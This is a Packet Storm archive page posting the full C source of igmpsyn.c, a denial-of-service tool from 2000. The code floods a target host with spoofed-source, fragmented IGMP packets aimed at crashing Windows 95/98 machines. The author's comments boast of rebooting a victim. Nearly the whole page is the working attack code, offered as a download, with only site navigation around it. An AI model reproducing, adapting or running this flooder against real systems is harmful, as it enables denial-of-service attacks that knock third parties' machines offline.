what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

igmpsyn.c

igmpsyn.c
Posted Aug 11, 2000
Authored by Steve Christ

igmpsyn.c sends type 1 IGMP requests with random source addresses. Appears effective against Win95 / 98.

tags | denial of service
systems | windows
SHA-256 | e586aa75def79fe1a2fe497ed40a6021a61562703e88d08b591f4aa935e9df9d

igmpsyn.c

Change Mirror Download
/* My latest dabbling into the art of
stealing code n altering it to my own
devices. This one hits a target with
type 1 igmp requests from random sources.
25000 packets caused some guy to have
a glorious reboot. Its done resonably
well in testing, win95/98 appears to
not like it. A chunk of the code was
stolen from pimp.c but o well.
Greets-Commy, Arch, Metal, Monika (love
you the most), slinkai, and the rest
of the #teenz crew.
Stealth_C^ */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/socket.h>

struct igmp
{
unsigned char igmp_type;
unsigned char igmp_code;
unsigned short igmp_cksum;
struct in_addr igmp_group;
};

#define ERROR(a) {printf("%s\n", a);exit(-1);}

u_long resolve(char *);

int main(int argc, char *argv[])
{
int nsock, ctr;
char *pkt, *data;
struct ip *nip;
struct igmp *nigmp;
struct sockaddr_in s_addr_in;

setvbuf(stdout, NULL, _IONBF, 0);

printf("igmpsyn by Stealth_C^\n");

if(argc != 3)
ERROR("usage: igmpsyn (host) (number)");

if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
ERROR("could not create raw socket");

pkt = malloc(1500);
if(!pkt)
ERROR("could not allocate memory");

memset(&s_addr_in, 0, sizeof(s_addr_in));
memset(pkt, 0, 1500);

nip = (struct ip *) pkt;
nigmp = (struct igmp *) (pkt + sizeof(struct ip));
data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));

s_addr_in.sin_addr.s_addr = resolve(argv[1]);

nip->ip_v = 4;
nip->ip_hl = 5;
nip->ip_tos = 0;
nip->ip_id = 69;
nip->ip_ttl = 255;
nip->ip_p = IPPROTO_IGMP;
nip->ip_sum = 0;
nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
nip->ip_src.s_addr = rand() % 5884574;
nigmp->igmp_type = 1;
nigmp->igmp_code = 1;
nigmp->igmp_cksum = 0;

inet_aton("128.1.1.1", &nigmp->igmp_group);


printf("attacking \n");
for(ctr = 0;ctr < atoi(argv[2]);ctr++)
{
nip->ip_len = 1500;
nip->ip_off = htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

nip->ip_off = htons(1480/8)|htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

nip->ip_off = htons(5920/8)|htons(IP_MF);
sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));

nip->ip_len = 831;
nip->ip_off = htons(7400/8);
sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
sizeof(s_addr_in));
usleep(1000);

}
printf("whooped his ass (hopefully)\n");
shutdown(nsock, 2);
close(nsock);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}
memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close